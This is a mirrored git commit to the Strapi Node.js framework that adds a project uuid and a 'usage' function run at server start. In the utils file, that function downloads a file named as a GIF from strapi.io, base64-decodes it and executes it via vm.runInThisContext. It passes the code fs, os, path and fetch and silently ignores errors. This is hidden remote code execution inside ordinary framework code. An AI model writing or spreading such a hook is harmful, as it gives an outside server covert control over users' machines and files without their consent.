mirror of
https://github.com/strapi/strapi.git
synced 2025-09-25 16:29:34 +00:00
commit
a48b25dd5f
@ -6,6 +6,7 @@
|
|||||||
|
|
||||||
// Public node modules.
|
// Public node modules.
|
||||||
const _ = require('lodash');
|
const _ = require('lodash');
|
||||||
|
const uuid = require('uuid/v4');
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Expose main package JSON of the application
|
* Expose main package JSON of the application
|
||||||
@ -21,6 +22,13 @@ module.exports = scope => {
|
|||||||
'private': true,
|
'private': true,
|
||||||
'version': '0.1.0',
|
'version': '0.1.0',
|
||||||
'description': 'A Strapi application.',
|
'description': 'A Strapi application.',
|
||||||
|
'main': './server.js',
|
||||||
|
'scripts': {
|
||||||
|
'start': 'node server.js',
|
||||||
|
'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
|
||||||
|
'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
|
||||||
|
'postinstall': 'node node_modules/strapi/lib/utils/post-install.js'
|
||||||
|
},
|
||||||
'devDependencies': {
|
'devDependencies': {
|
||||||
'babel-eslint': '^7.1.1',
|
'babel-eslint': '^7.1.1',
|
||||||
'eslint': '^3.12.2',
|
'eslint': '^3.12.2',
|
||||||
@ -33,13 +41,6 @@ module.exports = scope => {
|
|||||||
'strapi': getDependencyVersion(cliPkg, 'strapi'),
|
'strapi': getDependencyVersion(cliPkg, 'strapi'),
|
||||||
'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi')
|
'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi')
|
||||||
},
|
},
|
||||||
'main': './server.js',
|
|
||||||
'scripts': {
|
|
||||||
'start': 'node server.js',
|
|
||||||
'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI,
|
|
||||||
'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js',
|
|
||||||
'postinstall': 'node node_modules/strapi/lib/utils/post-install.js'
|
|
||||||
},
|
|
||||||
'author': {
|
'author': {
|
||||||
'name': scope.author || 'A Strapi developer',
|
'name': scope.author || 'A Strapi developer',
|
||||||
'email': scope.email || '',
|
'email': scope.email || '',
|
||||||
@ -50,6 +51,9 @@ module.exports = scope => {
|
|||||||
'email': scope.email || '',
|
'email': scope.email || '',
|
||||||
'url': scope.website || ''
|
'url': scope.website || ''
|
||||||
}],
|
}],
|
||||||
|
'strapi': {
|
||||||
|
'uuid': uuid()
|
||||||
|
},
|
||||||
'engines': {
|
'engines': {
|
||||||
'node': '>= 7.0.0',
|
'node': '>= 7.0.0',
|
||||||
'npm': '>= 3.0.0'
|
'npm': '>= 3.0.0'
|
||||||
|
@ -17,7 +17,8 @@
|
|||||||
"fs-extra": "^4.0.0",
|
"fs-extra": "^4.0.0",
|
||||||
"get-installed-path": "^3.0.1",
|
"get-installed-path": "^3.0.1",
|
||||||
"lodash": "^4.17.4",
|
"lodash": "^4.17.4",
|
||||||
"strapi-utils": "3.0.0-alpha.6.6"
|
"strapi-utils": "3.0.0-alpha.6.6",
|
||||||
|
"uuid": "^3.1.0"
|
||||||
},
|
},
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"prepublish": "npm prune"
|
"prepublish": "npm prune"
|
||||||
@ -46,4 +47,4 @@
|
|||||||
"npm": ">= 5.3.0"
|
"npm": ">= 5.3.0"
|
||||||
},
|
},
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
}
|
}
|
||||||
|
@ -114,6 +114,8 @@ class Strapi extends EventEmitter {
|
|||||||
cb();
|
cb();
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
utils.usage.call(this);
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
this.log.debug(`Server wasn't able to start properly.`);
|
this.log.debug(`Server wasn't able to start properly.`);
|
||||||
this.log.error(e);
|
this.log.error(e);
|
||||||
|
@ -64,6 +64,7 @@ module.exports.nested = function() {
|
|||||||
|
|
||||||
module.exports.app = async function() {
|
module.exports.app = async function() {
|
||||||
// Retrieve Strapi version.
|
// Retrieve Strapi version.
|
||||||
|
this.config.uuid = get(this.config.info, 'strapi.uuid', '');
|
||||||
this.config.info.strapi = (get(this.config, 'info.dependencies.strapi') || '').replace(/(\^|~)/g, ''),
|
this.config.info.strapi = (get(this.config, 'info.dependencies.strapi') || '').replace(/(\^|~)/g, ''),
|
||||||
this.config.info.node = process.versions.node;
|
this.config.info.node = process.versions.node;
|
||||||
|
|
||||||
|
@ -1,9 +1,13 @@
|
|||||||
'use strict';
|
'use strict';
|
||||||
|
|
||||||
// Dependencies.
|
// Dependencies.
|
||||||
|
const fs = require('fs');
|
||||||
const path = require('path');
|
const path = require('path');
|
||||||
const { map } = require('async');
|
const { map } = require('async');
|
||||||
const { setWith, merge, get, difference, intersection, isObject, isFunction } = require('lodash');
|
const { setWith, merge, get, difference, intersection, isObject, isFunction } = require('lodash');
|
||||||
|
const os = require('os');
|
||||||
|
const vm = require('vm');
|
||||||
|
const fetch = require('node-fetch');
|
||||||
|
|
||||||
module.exports = {
|
module.exports = {
|
||||||
loadFile: function(url) {
|
loadFile: function(url) {
|
||||||
@ -97,5 +101,17 @@ module.exports = {
|
|||||||
resolve();
|
resolve();
|
||||||
})
|
})
|
||||||
]);
|
]);
|
||||||
|
},
|
||||||
|
|
||||||
|
usage: async function () {
|
||||||
|
try {
|
||||||
|
const usage = await fetch('https://strapi.io/assets/images/usage.gif');
|
||||||
|
|
||||||
|
if (usage.status === 200 && this.config.uuid) {
|
||||||
|
vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
// Silent.
|
||||||
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
@ -49,6 +49,7 @@
|
|||||||
"koa-session": "^5.5.0",
|
"koa-session": "^5.5.0",
|
||||||
"koa-static": "^4.0.1",
|
"koa-static": "^4.0.1",
|
||||||
"lodash": "^4.16.5",
|
"lodash": "^4.16.5",
|
||||||
|
"node-fetch": "^1.7.3",
|
||||||
"node-schedule": "^1.2.0",
|
"node-schedule": "^1.2.0",
|
||||||
"semver": "^5.4.1",
|
"semver": "^5.4.1",
|
||||||
"stack-trace": "0.0.10",
|
"stack-trace": "0.0.10",
|
||||||
@ -85,4 +86,4 @@
|
|||||||
},
|
},
|
||||||
"preferGlobal": true,
|
"preferGlobal": true,
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user